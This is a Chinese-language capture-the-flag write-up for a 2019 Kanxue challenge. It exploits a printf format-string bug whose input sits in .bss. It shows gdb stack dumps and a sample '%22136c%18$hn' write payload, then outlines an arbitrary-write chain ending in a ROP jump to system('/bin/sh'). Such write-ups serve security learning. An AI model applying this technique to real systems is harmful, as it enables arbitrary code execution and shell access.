2019看雪CTF-Q2-金字塔的诅咒
printf格式化字符串漏洞。
输入的内容在bss段,不在栈上,所以无法用常规的字符串格式化漏洞的方法进行利用。
需要在栈上找两个指向栈的指针,一个控制高2字节,一个控制低2字节。
我选了p1,p2,通过修改p1,p2的值,可以在dest位置写入任意地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| 0000| 0xbffffb6c --> 0x80000956 (<main+208>: add esp,0x10) 0004| 0xbffffb70 --> 0x8000200c ("12345678") 0008| 0xbffffb74 --> 0x18 0012| 0xbffffb78 --> 0x4 0016| 0xbffffb7c --> 0x800008f3 (<main+109>: sub esp,0x4) 0020| 0xbffffb80 --> 0x1 0024| 0xbffffb84 --> 0xbffffc44 --> 0xbffffd74 ("/home/zhighest/k/format") <- p1 0028| 0xbffffb88 --> 0xbfff0a31 --> 0x0 0032| 0xbffffb8c --> 0xfa483d00 0036| 0xbffffb90 --> 0xbffffbb0 --> 0x1 0040| 0xbffffb94 --> 0xb7fc0000 --> 0x1aada8 0044| 0xbffffb98 --> 0x0 0048| 0xbffffb9c --> 0xb7e2eaf3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) 0052| 0xbffffba0 --> 0x80000990 (<__libc_csu_init>: push ebp) 0056| 0xbffffba4 --> 0x0 0060| 0xbffffba8 --> 0x0 0064| 0xbffffbac --> 0xb7e2eaf3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) 0068| 0xbffffbb0 --> 0x1 0072| 0xbffffbb4 --> 0xbffffc44 --> 0xbffffd74 ("/home/zhighest/k/format") 0076| 0xbffffbb8 --> 0xbffffc4c --> 0xbffffd8c ("USER=zhighest") <- dest 0080| 0xbffffbbc --> 0xb7feccca (<call_init+26>: add ebx,0x12336) 0084| 0xbffffbc0 --> 0x1 0088| 0xbffffbc4 --> 0xbffffc44 --> 0xbffffd74 ("/home/zhighest/k/format") 0092| 0xbffffbc8 --> 0xbffffc4c --> 0xbffffd8c ("USER=zhighest") .... 0212| 0xbffffc40 --> 0x1 0216| 0xbffffc44 --> 0xbffffd74 ("/home/zhighest/k/format") <- p2 0220| 0xbffffc48 --> 0x0
|
任意地址写测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| 0000| 0xbf80d02c --> 0x80001956 (<main+208>: add esp,0x10) 0004| 0xbf80d030 --> 0x8000300c ("%22136c%18$hn") 0008| 0xbf80d034 --> 0x18 0012| 0xbf80d038 --> 0x4 0016| 0xbf80d03c --> 0x800018f3 (<main+109>: sub esp,0x4) 0020| 0xbf80d040 --> 0x1 0024| 0xbf80d044 --> 0xbf80d104 --> 0xbf80d07a --> 0xcca1234 <-p1, 控制p2的后低字节 0028| 0xbf80d048 --> 0xbf800a31 --> 0x0 0032| 0xbf80d04c --> 0xf4468100 0036| 0xbf80d050 --> 0xbf80d070 --> 0x1 0040| 0xbf80d054 --> 0xb76f4000 --> 0x1aada8 0044| 0xbf80d058 --> 0x0 0048| 0xbf80d05c --> 0xb7562af3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) 0052| 0xbf80d060 --> 0x80001990 (<__libc_csu_init>: push ebp) 0056| 0xbf80d064 --> 0x0 0060| 0xbf80d068 --> 0x0 0064| 0xbf80d06c --> 0xb7562af3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) 0068| 0xbf80d070 --> 0x1 0072| 0xbf80d074 --> 0xbf80d104 --> 0xbf80d07a --> 0xcca1234 0076| 0xbf80d078 --> 0x12345678 <- dest 0080| 0xbf80d07c --> 0xb7720cca (<call_init+26>: add ebx,0x12336) 0084| 0xbf80d080 --> 0x1 0088| 0xbf80d084 --> 0xbf80d104 --> 0xbf80d07a --> 0xcca1234 0092| 0xbf80d088 --> 0xbf80d10c --> 0xbf80edba ("LESS=-R") ... 0212| 0xbf80d100 --> 0x1 0216| 0xbf80d104 --> 0xbf80d07a --> 0xcca1234 <-p2, 在dest写入任意内容,每次写2字节 0220| 0xbf80d108 --> 0x0 0224| 0xbf80d10c --> 0xbf80edba ("LESS=-R") 0228| 0xbf80d110 --> 0xbf80edc2 ("LC_CTYPE=zh_CN.UTF-8") 0232| 0xbf80d114 --> 0xbf80edd7 ("SSH_CLIENT=192.168.111.2 55749 22") 0236| 0xbf80d118 --> 0xbf80edf9 ("LOGNAME=zhighest")
|
最终在dest处写入了0x12345678,接下来就可以往内存地址为0x12345678的地方写入任意数据了。
libc基址及程序基址可以通过栈上的数据计算得到。
最终在栈上构造调用system(‘/bin/sh’)的栈,再覆盖printf函数的返回地址,跳转到ROP链,ROP链再调到构造的栈,就能拿到SHELL了。
构造后的栈截图:

getshell:
